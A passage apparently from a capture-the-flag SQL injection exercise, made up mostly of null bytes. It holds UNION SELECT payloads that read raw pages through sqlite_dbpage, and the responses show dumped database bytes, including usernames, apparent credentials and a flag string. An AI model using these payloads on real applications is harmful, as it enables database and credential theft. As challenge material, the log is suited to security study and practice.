x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\x01\x02yAlpaca{Harder_version: `if &amp;#34;secret&amp;#34; in value.lower()`}&amp;#39;!
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage LIMIT 1 OFFSET 3 --
Hello, b&amp;#39;\r\x00\x00\x00\x03\x0f\xc1\x00\x0f\xed\x0f\xdb\x0f\xc1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x03\x03\x17-adminfb8fe2baa0190046\x10\x02\x03\x17\x1dguestpassword\x11\x01\x03\x19\x1dalpacapacapaca&amp;#39;!
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage LIMIT 1 OFFSET 4 --
Hello, b&amp;#39;SQLite format 3\x00\x10\x00\x01\x01\x00@ \x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00.zq\r\x0f\xf8\x00\x04\x0e\xc3\x00\x0fL\x0f\xcd\x0e\xc3\x0f\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\